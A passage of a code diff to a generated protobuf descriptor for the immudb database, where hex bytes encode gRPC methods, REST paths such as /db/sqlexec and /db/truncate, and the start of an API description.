0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, - 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, - 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, - 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, - 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, + 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, + 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, + 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, - 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, - 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, - 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, - 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, + 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, + 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, + 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, + 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, - 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, - 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, - 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, - 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, + 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, - 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, + 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, + 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, + 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, - 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, - 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, - 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, - 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, - 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 